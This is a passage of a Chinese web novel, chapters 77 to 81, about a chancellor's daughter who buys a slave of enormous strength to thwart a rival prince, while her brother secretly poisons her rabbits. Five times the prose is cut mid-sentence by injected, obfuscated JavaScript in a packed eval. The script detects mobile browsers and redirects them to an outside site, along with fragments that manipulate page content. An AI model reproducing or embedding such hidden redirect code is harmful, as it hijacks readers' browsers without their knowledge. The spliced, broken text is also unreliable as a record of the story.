“逼急了才好,她那性子,就是要多逼几下。” 萧凌川指腹摩挲着下唇,深邃的眼眸晦暗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620099|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明。 不逼她,她又怎会轻易将自己的底牌亮出来? 今日,倒也并非毫无收获。 姜姝宁怒气冲冲地回到马车上。 凌芜看到她,大吃一惊:“大小姐,您的嘴怎么流血了?” 姜姝宁一怔,连忙抬手擦了擦唇角,手上果然沾染了几缕殷红的血丝。 见凌芜满脸紧张的模样,她安慰道:“无妨,这不是我的血。” 凌芜闻言,表情更加震惊。 不是大小姐的血,那又会是谁的血呢? 谁的血会出现在大小姐嘴唇这这样的地方? 难道是…… 姜姝宁见她目不转睛地盯着自己看,脸顿时涨得通红。 “别看了,我们还是快些回府吧!”她移开目光,故意转移话题道,“那两只兔子你今天喂了吗?我有些想它们了。” “已经喂过了。” 说起那两只兔子,凌芜便想起凌风给她带来的口信。 四皇子让她尽快将那两只五皇子送的兔子处理掉。 可明明大小姐那么喜欢它们…… 这简直太为难她了! 回到相府,凌芜把竹笼提出来放在院子里,托着腮盯着两团雪绒般的小东西瞧。 越瞧越喜欢。 殿下竟让她选择清蒸或者红烧,简直丧心病狂! 兔兔这么可爱,怎么能吃兔兔? 正当凌芜左右为难之际,姜天泽恰好走了过来。 她连忙起身,恭敬行礼:“三少爷!” “凌芜姑娘不必如此客气。”姜天泽目光落在桌上的竹笼上,“哪来的兔子?” “这是大小姐进宫时,宫里的皇子送给她的。”凌芜如实答道。 姜天泽脸上依旧挂着温和的笑容,笑意却不达眼底:“是五皇子送的吧?” “咦?三少爷你怎么知道?大小姐告诉你的吗?” “我随便猜猜的。”姜天泽垂眸,佯装在看兔子,掩饰眼底腾升而起的阴鸷。 三天两头地邀请大姐姐进宫还不够,竟然还送她宠物,以便继续占用她的时间和注意力。 这五皇子,要的是不是太多了? 就在这时,夏蝉走了过来:“凌芜姐姐,大小姐有事找你。” “我这就来!”凌芜连忙应道,说着,便准备拿起放在桌上的竹笼。 “凌芜姑娘,这两只兔子实在惹人喜爱,不知能否留下来让我看看?”姜天泽出声挽留道。 “自然可以。三少爷,您慢慢看,我先过去了。”凌芜说着,便转身离开了。 姜天泽目送着凌芜的身影消失在回廊尽头,这才缓缓收回目光。 等他的视线再次落在笼中的两只兔子身上时,眼底已然染上了一层浓烈的阴郁之色。 两只可怜的兔子似乎也察觉到了自己即将到来的命运,在狭小的笼子里瑟瑟发抖…… 第78章 人不可貌相 第七十八章人不可貌相 凌芜走进姜姝宁的房间:“大小姐唤奴婢前来,可是有什么吩咐?” 姜姝宁从妆奁中取出一双做工精巧的鹿皮手套,递到凌芜面前:“上次收了你送的袖**,至今还未回礼,心中着实过意不去。这双鹿皮手套是我亲手缝制的,冬日里戴着格外保暖,便当回礼送给你吧。” “大小姐如此厚爱,奴婢实在愧不敢当!这鹿皮手套一看便知价值不菲,奴婢万万不能收。”凌芜连忙推辞道。 “那袖**难道就便宜吗?”姜姝宁嗔怪道,“让你收着你就收着吧!我可是特意按照你的手型尺寸缝制的,你且戴上试试,看看是否合手?” 凌芜这才接过手套戴在手上。 柔软的鹿皮贴合着手掌,温暖舒适,她顿时爱不释手,感激道:“多谢大小姐!” 那袖**其实是四皇子殿下亲手为大小姐打造的,只不过借了她的名义送给大小姐罢了。 如今,她倒是因此得了一双珍贵的鹿皮手套,心中不禁暗暗感激四皇子。 姜姝宁犹豫片刻,压低声音叮嘱道:“今日我去皇宫的事情,你切莫告诉任何人,尤其是父亲。” 若是被姜丞相发现指使张尚书下毒之人就在皇宫里,他怕是又要辞官归乡了。 她还没替大哥报仇,怎能轻易离开京城? 这复仇之路纵然遍布荆棘,她也要手刃仇敌,用他们的鲜血来祭奠兄长的在天之灵! 凌芜想起姜姝宁从宫里出来时,唇角那抹不易察觉的血迹,连忙郑重地点头应道:“大小姐尽管放心,奴婢一定守口如瓶,绝不会向任何人透露半个字!” 姜姝宁如释重负地舒了一口气,起身道:“走吧,我们去看看那两只小兔子。” 主仆二人来到后院,却见姜天泽神色慌张地站在竹笼旁,手中还拿着一根啃了一半的胡萝卜,眼神里满是无措与懊恼。 “三弟,你也过来了?”姜姝宁笑着道。 “大姐姐……”姜天泽抬起头,眼眶泛红,一副泫然欲泣的模样,“对不起,都怪我……我不懂得如何喂养小兔子,一不小心,就把它们给……噎**!” 听到这话,姜姝宁和凌芜皆是一惊。 凌芜连忙打开竹笼,只见笼子里的两只兔子一动不动地躺在那里,早已没了气息。 她的心情顿时变得有些复杂。 姜姝宁正欲上前查看,姜天泽忽然拉住了她的袖子,满脸愧疚,声音哽咽道:“大姐姐,都怪我不好!是我害**你心爱的兔子。要不,你打我一顿出出气吧!” 说完,他便拉着姜姝宁的手,用力捶向自己的胸膛。 看着姜天泽通红的眼眶,以及那副懊悔不已的模样,姜姝宁心头一软,叹了口气道:“好了,不过是两只小兔子而已,你别太自责了。” “大姐姐不怪我吗?”姜天泽抬起头,小心翼翼地问道。 “我也是第一次养兔子,原本就没什么经验,也不知道原来兔子会被噎死。想来,这两只兔子与我无缘。”姜姝宁心中惋惜,但依旧安慰他。 “可是我心里还是觉得很内疚。要不这样吧,我赔姐姐两只宠物,这样我心里才能好受一些。”姜天泽仍旧坚持道。 姜姝宁见他如此执着,点了点头:“那好吧,就依你所言。” 她转身吩咐一旁的凌芜道:“将这两只小兔子葬在后院里吧,怪可怜的。” 一旁的夏蝉忽然插嘴道:“大小姐,凌芜姐姐,要不我们把兔子剥了皮烤着吃吧!我听说兔肉可香了!” “不行!”姜姝宁和凌芜异口同声地拒绝道。 姜姝宁道:“这两只并非肉兔,就算烤了也不好吃!凌芜,还是按照我说的,把它们埋了吧!” 若是哪天萧怀瑾问起这两只兔子的下落,她若是说被烤着吃了,他肯定会把她视作魔鬼的。 “是,大小姐!”凌芜提着装着两只死兔子的竹笼退了下去。 她来到后院,见四下无人,便将竹笼偷偷藏了起来。 夜幕降临,凌风按照惯例来到相府的屋顶,与凌芜碰面。 凌芜将竹笼提起来给他看。 凌风看到竹笼里的死兔子,笑着说:“兔子已经处理好了?我还担心你下不去手呢!” “并非我下的手,而是姜家三少爷。”凌芜解释道。 “哦?那不是更好?省得你还得费尽心思编造借口欺骗你家大小姐。” “事情并非如此简单。”凌芜神色变得有些凝重,“三少爷说是他不小心把兔子噎死的,可我明明已经喂过它们了,它们并不饿,又怎么可能因为进食太快而被噎死呢?后来我发现……” 凌芜从袖子里掏出一根细长的银针,扎入一只兔子的尸体,拔出来时,银针的尖端已经变成了黑色。 “这兔子是被人毒死的?!”凌风也大吃一惊,“这姜家三少爷竟然懂得用毒?难道,他早就知道他母亲南月毒师的身份?” “凌风,你难道没有发现问题的关键所在吗?”凌芜看着凌风,神情严肃,“姜家三少爷为何要无缘无故地毒死两只兔子?” 凌风不以为意:“这有什么好奇怪的?或许只是他生性顽劣吧?他有一个精通制毒的母亲,耳濡目染之下,自然也喜欢用**来戏弄小动物。说不定,他只是在帮他母亲试用新研制的**!” 凌芜虽然觉得凌风的解释也说得通,但她心中始终觉得有些蹊跷,却又说不出究竟是哪里不对劲。 “或许,真如你所说,他只是生性顽劣吧……” 凌风拍了拍凌芜的肩膀,说道:“今日之事你办得不错!我这就把这两只中了毒的死兔子带回去给殿下看看。你自己也要多加小心,千万要提防南月毒师和姜家三少爷!” 说完,他便足尖轻点,身形如一道利箭般射向夜空,转瞬间便消失得无影无踪。第二日,天色微曦,姜天泽便早早地来到了翠竹院外,叩响了院门。 “大小姐,三少爷在外面候着呢,说是要陪您一同前往集市挑选宠物。”夏蝉走进姜姝宁的房间,打着哈欠道。 凌芜秀眉微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620100|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙:“不过是买两只宠物罢了,有必要起这么早吗?大小姐昨夜秉烛夜读,想必十分疲惫,不如奴婢替您婉拒了三少爷的邀约,让您再多睡一会儿?” 姜姝宁轻轻揉了揉惺忪的睡眼:“不必了。三弟一片好意,不应辜负,况且昨日张姑娘下毒一事,想必让他心中郁结难消,今日正好陪他去集市上逛逛,散散心也好。” 凌芜心中暗忖,那张家小姐真是不自量力,竟敢对这狼崽子下毒,也不怕被他反杀! 待凌芜帮姜姝宁梳洗打扮完毕,主仆二人这才缓缓走出房门。 姜天泽早已等候在门外,脸上的笑容和熙,宛如三月春光。 凌芜实在很难将眼前这个人畜无害的少年跟昨日狠心下毒杀死一对兔子的人联系在一起。 果然,人不可貌相! 她忍不住嘀咕:“三少爷也来得太早了吧?难道集市上的宠物还能长腿跑了不成,晚些去也是一样能买到的啊!” 姜天泽笑眯眯地反驳:“凌芜姑娘此言差矣!这集市自然是越早去越好,若是去晚了,那些品相上乘的宠物早就被别人给挑走了!大姐姐,你说是不是?” 姜姝莞尔一笑,附和道:“我也想看看清晨的集市里究竟有些什么新奇玩意儿,我们还是快些出发吧!” 于是,三人便一同乘坐一辆马车,朝着京城最为热闹繁华的东市方向驶去。 东市果然是名不虚传,热闹非凡。 琳琅满目的商品应有尽有,从绫罗绸缎到瓜果蔬菜,从胭脂水粉到锅碗瓢盆,简直是包罗万象,让人目不暇接。 而且这里的商品不仅种类繁多,价格也比寻常店铺实惠不少,难怪如此吸引人。 姜姝宁兴致勃勃地穿梭于各个摊位之间,一会儿买些精致的糕点,一会儿挑些时新的脂粉,一会儿又被那些琳琅满目的首饰迷住了眼。 不知不觉间,她手中已经拿了不少东西,后悔没有多带几个家丁来帮忙。 “早知道东市的东西如此丰富,上次就应该和母亲一起来这边置办年货的!”她略带遗憾地叹了口气。 姜天泽见她如此喜爱逛集市,笑着道:“若是大姐姐觉得还不够尽兴,明日我们多带些家丁过来,好好采买一番。” 他就知道,没有哪个女子能够抵挡住逛集市的乐趣,他的大姐姐自然也不例外。 三人逛得有些疲惫了,便在路边寻了一处干净的摊位,点了三碗热气腾腾的汤面,稍作歇息。 就在这时,一辆板车他们面前缓缓驶过。 板车上站着几名男子,他们双手被粗麻绳捆绑着,寒冬腊月里,竟只穿着单薄的裤子,赤果着精壮的上半身,瑟瑟发抖。 姜姝宁知道,这些都是被公开贩卖的奴隶。 当她的目光扫过其中一个男子时,她整个人如同触电一般,猛地站了起来。 “大姐姐,您怎么了?可是有什么不妥?”姜天泽连忙问。 姜姝宁伸手指着板车上一个身形最为魁梧健硕的男子,语气急切地说道:“我要买下他!” 第79章 天生神力的奴隶 第七十九章天生神力的奴隶 “大小姐,您为何执意要买下这个男子?咱们相府家丁众多,并不缺人手。若您真需添置新丁,只需吩咐管事去办便是,何必亲自出面?”凌芜劝道。 姜天泽也附和道:“是啊,大姐姐,这奴隶生得一脸凶相,活像个未开化的野人,怕是桀骜难驯。您即便赎了他,将来也未必能将他驯服,何苦多此一举?” 对他们的劝说,姜姝宁丝毫不为所动。 她凝视着辇车上那身形魁梧、肤色黝黑的男子,语气决然:“我并非要他做家丁,我只是想买下他的命!” 人牙子见有生意上门,眼中闪过一丝狡黠。 “这位小姐看好了,这奴隶身强力壮,筋骨非凡,值三万钱,一分都不能少!” “三万钱?”姜天泽冷笑一声,“我拿这钱都能买下你手里所有的奴隶!你这分明是坐地起价!” 人牙子不以为意,拍了拍那黝黑男子的胸膛,得意洋洋地说道:“不是我吹嘘,各位就是把整个东市翻个底朝天,也未必能寻到第二个这般虎背熊腰、气力过人的奴隶!这身板,便是为主子挡刀,也能比旁人多挡上几回!” 凌芜嗤笑一声,语气不屑:“我家大小姐乃金枝玉叶,尊贵无比,哪里轮得到这种粗鄙之人替她挡刀?” 人牙子还欲再争辩几句,姜姝宁却懒得与他多费口舌,径直从袖中取出一锭金子递给他:“这样,够吗?” 那人牙子一见金子,双眼发直,忙不迭地点头哈腰:“够了!够了!不愧是大户人家的千金小姐,出手就是阔绰!您稍候,小的这就去取他的**契来!” 凌芜见姜姝宁如此迫不及待,心中疑惑更甚,忍不住问:“大小姐,您何须高价买下这个奴隶?难道你当真要将此人留在身边,收为打手?” 姜天泽脸色阴沉:“此人相貌粗野,身份低贱,怎配侍奉在大姐姐身侧?若大姐姐需要护卫,我愿效犬马之劳,断不比这莽夫差!” “你们不必多言,我自有我的打算。”姜姝宁目光落在那奴隶身上,心中思绪翻涌。 若她今日不买下他,不出半年,他便会因在角斗场屡屡获胜而被三皇子萧修湛买下,取名“阿蒙”。 前世,阿蒙对萧修湛忠心耿耿,多次以血肉之躯为他挡刀挡箭,舍命相护。 若非有他,萧修湛早已在那场声势浩大的剿匪行动中丧命。 后来,阿蒙更是为了营救萧修湛而战死沙场。 他以一己之力,阻挡住如潮水般涌来的敌兵,为萧修湛争取了宝贵的逃生时机。 今生,若她能提前将阿蒙收入囊中,便如同折断萧修湛的左膀右臂,说不定他会因此命丧匪巢! 人牙子殷勤地将**契递给姜姝宁,她仔细查阅,确认无误后,便将其妥善地收入袖中。 她转过身,看向那身形如小山般壮硕的奴隶:“你身上的绳索对你而言,形同虚设,你自己解开吧!” “是,小姐!”话音未落,那奴隶双臂猛然发力,只听“啪”的一声脆响,束缚在他身上那两指粗的绳索,便应声断裂,化为齑粉。 这一幕,顿时引得周围围观之人惊呼连连。 姜天泽脸色阴沉得几乎要滴出水来。 “此人力大无穷,区区绳索根本无法束缚,若他想逃脱,简直易如反掌。如此身手,为何甘愿被贩卖?大姐姐,你买下他,就不怕引狼**,后患无穷吗?” 姜姝宁闻言,只是意味深长地笑了笑,并未正面回答,而是将目光那奴隶:“你还没有名字吧?既然如此,我便赐你一个名字。从今日起,你就叫浩力!” 阿蒙,听起来就像是蒙昧无知之人,只会愚忠。 她要的,是一把蕴藏着浩瀚之力的利刃! “是!浩力谢小姐赐名!”浩力感激的声音,如同洪钟般震耳欲聋。 姜天泽目光如鹰隼般锐利,直逼浩力:“浩力,我问你,你拥有如此惊世骇俗的蛮力,区区绳索根本困不住你,为何还要甘愿俯首为奴,任人宰割?” 浩力眨了眨眼,神情憨厚:“因为只有被买下来,才能有口饱饭吃。” “仅仅为了区区一口饱饭?我不信!这其中,必定另有隐情!”姜天泽依旧不依不饶。 遭到质疑,浩力一脸委屈:“公子家境殷实,自然不知我等贱籍之人,想要填饱肚子,是何等艰难。奴隶身份低微,不得从事正经营生,若无法赚取钱财,想要吃上一顿饱饭,便只能铤而走险,落草为寇,上山为匪。可是,当土匪,终日刀头舔血,朝不保夕,九死一生,还不如安安分分地当个奴隶,至少还能苟延残喘,图个安稳。” 姜天泽闻言,神情顿时复杂难辨。 姜姝宁以为他有所触动,柔声道:“浩力宁愿为奴以求温饱,也不愿落草为寇,为祸一方,可见他虽出身卑微,却心怀善念,是个有底线、有品行之人,不会为了苟且偷生而做出伤天害理之事。这样的人,值得我以高价买下!” “大姐姐所言极是。”姜天泽眼帘低垂,遮掩住眸底一闪而逝的阴鸷。 若换作是他,哪怕当土匪也绝不当奴隶! 土匪虽朝不保夕,命悬一线,但只要活着,便可烧杀抢掠,为所欲为,不受任何束缚。 而奴隶,却要终日仰人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620101|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻息,如履薄冰,毫无尊严地苟且偷生。 宁可我负尽天下人,也绝不容许天下人负我! 除非,负他的人是…… 姜天泽的目光情不自禁地追随着姜姝宁的身影,心神摇曳,思绪万千。 但愿自己这份难以言说的情愫,不会被她所辜负。 因买下了浩力,姜姝宁无心继续逛集市,便带着姜天泽和凌芜匆匆踏上归途。 三人共乘一辆马车,而浩力则一边吃着姜姝宁特意为他买下的肉包,一边健步如飞地紧随马车之后。 奈何这东市实在太过熙攘喧闹,摩肩接踵,马车行至一处,便被摊贩们随意摆放的摊位所阻挡,寸步难行。 老杨见状,连忙回身禀报道:“大小姐,请您稍待片刻,容小的下去与那些摊主交涉一番,让他们将摊位稍微挪动挪动,也好让马车顺利通行!” 浩力见状,对着车窗高声喊道:“大小姐,若是您信得过我,不如将这马车交给我来处置,我保证能让马车安然通过!” 姜姝宁毫不犹豫地应道:“既然如此,那就交给你了,切莫伤到他人。” 浩力连忙将手中剩下的半块肉包一股脑地塞入口中,随后深吸一口气,扎稳马步,双手稳稳地托住车身底部,竟将整辆马车抬离地面! 他神情自若,脚步稳健,轻松地抬着马车,巧妙地避开那些越界的摊位,平稳地将马车放置在前方空旷之处。 周围的百姓们亲眼目睹了这匪夷所思的一幕,顿时爆发出一阵阵惊叹声。 不远处,一辆装饰奢华的马车内,三皇子萧修湛正好瞥见了这令人惊叹的一幕。 “那马车里的人,不就是姜家嫡长女,姜姝宁吗?她身边怎会有如此力大无穷的下人?”萧修湛剑眉微挑。 他身旁的随从顺着他的目光望去,略一辨认便答道:“殿下,看其衣着打扮,此人应是刚被买下的奴隶。” “姜姝宁一个尚未出阁的女子,买下这等孔武有力的奴隶,究竟意欲何为?”萧修湛好奇心被勾起,不由自主地想要一探究竟,“停车,我们也下去看看!” 随从闻言,顿时面露难色,连忙俯身劝阻道:“殿下,今日恐怕不宜节外生枝啊!您与赌坊的掌事人早已约定好时辰,若是迟到,恐怕会惹得对方不悦!” 萧修湛听罢,略一沉吟,最终还是压下了下车一探的念头,毕竟与赌坊的合作事关重大,不容有失。 然而,他的目光却始终无法从那奴隶身上移开,仿佛被磁石吸引一般,紧紧追随着他那健硕的身影,久久不愿离去。 他总觉得,此人本该为他所用才是。 第80章 逆天改命 第八十章逆天改命 方才浩力徒手举车,就连见多识广的凌芜,也有些难以置信。 她虽见过不少武功盖世的江湖高手,却从未见过如此力大无穷的奇人异士。 大小姐究竟是如何看出这奴隶天赋异禀的? 姜天泽抢先一步,问出了她心中的疑问。 “大姐姐似乎早就料到这浩力拥有神力。可是,大姐姐分明是第一次来到这东市,也是第一次见到浩力。”姜天泽目光如炬,紧紧地锁住姜姝宁,不放过她脸上任何一丝细微的神情变化,“大姐姐,你究竟是如何做到的?可否告知我?” “这有何难?”姜姝宁神色云淡风轻,“我不过是比常人观察细致罢了。方才我看到这些被贩卖的奴隶时,发现他们个个都被绳索捆缚着,蜷缩成一团,脸上满是哀伤与绝望。唯独这浩力,被绳索加身,却依然神情自若,丝毫不显局促之态。我便由此推断,那区区绳索,对他而言,如同虚设,根本无法束缚住他。自然也能猜到他有神力,是个可用之才。” 这番解释,乍听之下似乎颇有道理,但若是细细推敲,便会发现其中漏洞百出,难以自圆其说。 姜天泽目光深邃,意味深长地看了姜姝宁一眼:“大姐姐果然观察入微,心思缜密,令人佩服。” “三弟过奖了。”姜姝宁淡淡一笑,躲避他过分锐利的目光。 这个三弟心思敏锐,着实不好糊弄,不过此事与他并无瓜葛,即便他察觉到一丝端倪,应该也不会产生什么影响。 姜天泽自然不信姜姝宁拥有洞悉一切的超凡能力。 倘若她真有洞察人心的能力,自己那份埋藏在心底深处,见不得光的隐秘心思,岂不是早就暴露无遗了吗? 浩力随着姜姝宁回了相府。 新添了浩力这么一位力拔山兮的奇人,却让府中的管事犯了难,不知该如何安置这位“大力士”才好。 起初,管事安排浩力去搬运花盆,谁知他力道过猛,稍不留神便将花盆捏了个粉碎,接连打碎了好几个,其中甚至包括姜夫人最为珍爱的一盆奇花,惹得夫人院中的嬷嬷气得险些背过气去; 后来,又让他去劈柴,结果他一人只用了一个时辰,便将家丁们七天的工作量全都完成了。 家丁们无所事事,聚在院子里闲聊,这番情景又把管事气得吹胡子瞪眼; 再后来,又让他去修缮后院的栅栏,可他手脚笨拙,手劲却大得出奇,非但没能将栅栏修好,反而还弄坏了更多的地方…… 这一天下来,前来翠竹院向姜姝宁抱怨之人络绎不绝,几乎将门槛踏破。 管事更是愁眉苦脸,苦不堪言:“大小姐,咱府里实在是没有那么多适合浩力做的活计啊!而且,他饭量也实在是太大了,短短几日,便吃掉了其他家丁近一个月的口粮,照这样下去,可如何是好啊?” “浩力天生神力,本就不是在府里做些琐碎杂活的料。”姜姝宁笑着安慰道,“管事放心,我会尽快为他安排一个更合适的去处。” “如此,那便有劳大小姐了!”管事如释重负,千恩万谢地退了下去。 凌芜好奇地问:“大小姐打算将浩力送往何处?” “他身怀如此惊世骇俗的本领,却被拘泥于相府之中做些粗活,实在是暴殄天物。如此人才,自然应当送往军中历练一番,让他**得一身精湛的武艺,将来有机会为朝廷效力,保卫我大邺的**河山!”姜姝宁道。 凌芜心神微动,提议道:“大小姐所言极是。奴婢听闻各位皇子殿下都有自己的护卫队,不如我们将他送给有需要的皇子,借此机会卖个人情,岂不是两全其美?” 若是四皇子殿下能够得到这么一位力大无穷的能人异士,将来能够做成的事情,定然不可估量。 姜姝宁笑着道:“我正有此意。” 第二日,姜姝宁带着浩力来到了夏府。 庭院之中,夏嫣正挥舞着双刀,刀光霍霍,身姿矫健,宛如一只翩跹的彩蝶,英姿飒爽,令人叹为观止。 姜姝宁看得目眩神迷,由衷地赞叹道:“夏嫣,你真是将‘巾帼不让须眉’这句话诠释得淋漓尽致!放眼这大邺王朝,能与你武艺比肩的女子,恐怕也找不出第二个了吧?” 姜瑶真虽也略通拳脚功夫,但她心思只放在骑射蹴鞠等玩乐之事上,与夏嫣这般在武艺上精益求精之人,根本无法相提并论。 听到姜姝宁的夸赞,夏嫣的笑容愈发灿烂,眉宇间也多了几分得意之色:“我今日这番卖力的练习,可是为了过几日进宫时,能在二皇子殿下面前好好表现一番!” 姜姝宁挤眉弄眼,打趣道:“你这般英姿飒爽,武艺超群,二皇子殿下见了,定会被你迷得神魂颠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620102|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒,茶饭不思!” “你呀,就爱取笑我!”夏嫣娇嗔地白了她一眼,随后落座,端起茶水一饮而尽,这才问道,“说吧,今日特意前来拜访,究竟有何要事?” “我得了一个天生神力的奇人,想借你之手,将他引荐给二皇子殿下。这是他的**契。”姜姝宁说着,便从袖中取出浩力的**契,递给了夏嫣。 夏嫣接过**契,略略扫了一眼,随后将目光落在站在姜姝宁身后的浩力身上。 见他身材魁梧,肌肉虬结,的确是一副孔武有力的模样。 “看起来倒的确是挺健壮的,不过,他到底有多大力气,我还得亲自试一试才行!”夏嫣站起身来,对浩力道,“你随我来!” 她带着浩力来到了府中的兵器房,让他随意挑选房中的兵器使用。 浩力没让她失望。 无论他拿起什么兵器,都显得轻松无比,游刃有余。 夏嫣不由得啧啧称赞,眼中满是欣赏之色:“果然是天赋异禀,天生神力!这样的能人异士,若是能收入二皇子殿下麾下,必定能大有作为,如虎添翼!” “浩力,还不快快谢过夏姑娘?她即将引荐你给二皇子殿下,日后,你便可以为二皇子殿下效力,建功立业了!”姜姝宁对浩力道。 “谢夏姑娘!”浩力跪下朝夏嫣磕了个头。 他犹豫了片刻,这才有些不好意思地问道,“跟着二皇子殿下,能吃饱饭吗?”“自然!”夏嫣笑着道,“饭的事你不用担心,管够!” “那我便放心了!”浩力憨厚一笑,“浩力这条命,以后就是二皇子殿下的了,殿下指哪儿,浩力就打哪儿!” 姜姝宁郑重地嘱咐道:“浩力,你要记住,从今往后,二皇子殿下便是你的主人,你务必要对他忠心耿耿,以性命护他周全,万万不可有二心!” “是,浩力谨遵大小姐教诲,定当铭记于心!”浩力用力地点了点头,神情坚定。 姜姝宁脸上露出欣慰之色。 今生,若大邺与南月之间终有一战,她必竭尽全力保住二皇子的性命。 无论二皇子对夏嫣是否有意,她都不愿眼睁睁地看着他再次惨死在三皇子萧修湛的阴谋算计之中。 让前世护萧修湛周全之人,今生转而誓死守护二皇子,这般乾坤扭转,怎能不算得上是逆天改命? 第81章 西征剿匪 第八十一章西征剿匪 浩力被送到了二皇子萧锦瑜面前。 萧锦瑜素来惜才,一见浩力果然力拔千钧,非同凡响,如获至宝,当即便拍板决定,将他送往外祖父武定侯的军营之中,接受最为正规、最为严苛的训练,系统地学习弓马骑射,刀枪剑戟等武艺。 浩力虽则饭量奇大,性情也颇为憨直,却并非朽木疙瘩,操练之法一点就透,进步神速,这让萧锦瑜颇为满意。 他亲自登门拜谢,喜悦之情溢于言表:“这浩力当真是个可造之材!如此难得的人才,夏将军竟舍得割爱相赠,我实在感激不尽!” 夏嫣谨遵姜姝宁的嘱咐,绝口不提浩力乃是购来的奴隶,只轻描淡写道:“他是我从父亲麾下精心挑选的猛士,特意献给殿下。我看殿下身侧正缺一得力护卫,故而引荐浩力,望能为殿下分忧。” “夏姑娘果然是我的知己,事事都为我筹谋!”萧锦瑜目光灼灼地看着她,“我都不知当如何感谢你!” 夏嫣双颊顿时染上两抹红霞,她羞涩地垂首:“殿下能明白我心意,我便心满意足了。” 萧锦瑜朗笑一声,拍了拍她的肩:“若你是男儿身,我定要与你把酒言欢,结为异姓兄弟!” 此言一出,夏嫣脸上的笑意骤然凝固,心头泛起一丝酸涩。 难道在他心中,他们之间除了兄弟情谊,便再无其他可能了吗? 姜姝宁借夏嫣之手,将浩力引荐给二皇子萧锦瑜一事,很快便传到了四皇子萧凌川的耳中。 凌风有些愤愤不平:“那浩力孔武有力,勇猛过人,乃是百里挑一的将才,姜姑娘竟然不将人留给殿下您,反而转手送给了二皇子,实在令人费解!亏殿下您不仅将凌芜派去暗中保护她,还屡屡在暗中出手相助……” 萧凌川桃花眸中波澜不惊,语气淡然:“她终究还是,太过天真了。” 她一门心思想阻止那身怀异能的浩力如前世那般被萧修湛收入麾下,为其所用。 可她又怎会明白,少了一个浩力或阿蒙,根本无法撼动萧修湛的根基,更不可能轻易地要了他的性命。 前世,他与萧修湛明争暗斗多年,历经无数生死博弈,才堪堪与他势均力敌。 他比谁都清楚,想要将萧修湛置之死地,绝非除去一两个喽啰就能奏效。 年关将至,西榆之地匪患猖獗。 官道上、运河边,商旅常被**洗劫一空。 遭遇**的男人被当场残忍杀害,女人则被强行掳走,其手段狠毒,令人发指。 这事闹得朝野震动,百姓怨声四起。 若不将这伙悍匪连根拔起,彻底剿灭,朝廷无法向大邺百姓交代。 皇帝大怒,下令组建剿匪大军,直捣西榆匪巢,务必将匪患彻底铲除。 和前世一样,三皇子萧修湛主动**西征剿匪。 消息传至相府,姜瑶真顿时坐立不安。 萧凌川给的“药”起了作用,她脸上的疙瘩已经消散。 没想到还没来得及与三皇子见上一面,就等来了这等晴天霹雳的消息。 她匆匆赶往来福酒楼,与姨娘密会。 “娘,您随三皇子殿下前往西榆吧!他此番直捣匪巢,凶险万分,女儿唯恐他有个闪失!”姜瑶真语气急切。 姨娘比划着回应:“西榆路途遥远,往返需两月之久。我每月须向四皇子讨要解药,怕是无法远行。” “那可如何是好?若三皇子有个三长两短,我们多年的筹谋岂不尽付东流?”姜瑶真心急如焚。 母女二人早将赌注尽数押在萧修湛身上,原想借萧凌川之力助他夺嫡,哪知这南月后裔心机深沉,不仅未被她们掌控,反将母女二人算计得死死的。 如今姨娘被迫为萧凌川效力,姜瑶真更成其手中要挟的软肋。 母女俩对萧凌川恨得咬牙切齿,只盼萧修湛有朝一日登临大宝,方能摆脱桎梏。 可眼下,萧修湛将亲赴西榆剿匪,生死未卜,姜瑶真如何能安心? 姨娘比划着宽慰:“三皇子福泽深厚,定能逢凶化吉,平安归来。” 即便如此,姜瑶真仍是心神不宁。 回到相府,她见姜姝宁带着凌芜出门,手提祭拜之物,行色匆匆。 这个时候,她要去祭拜何人? 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 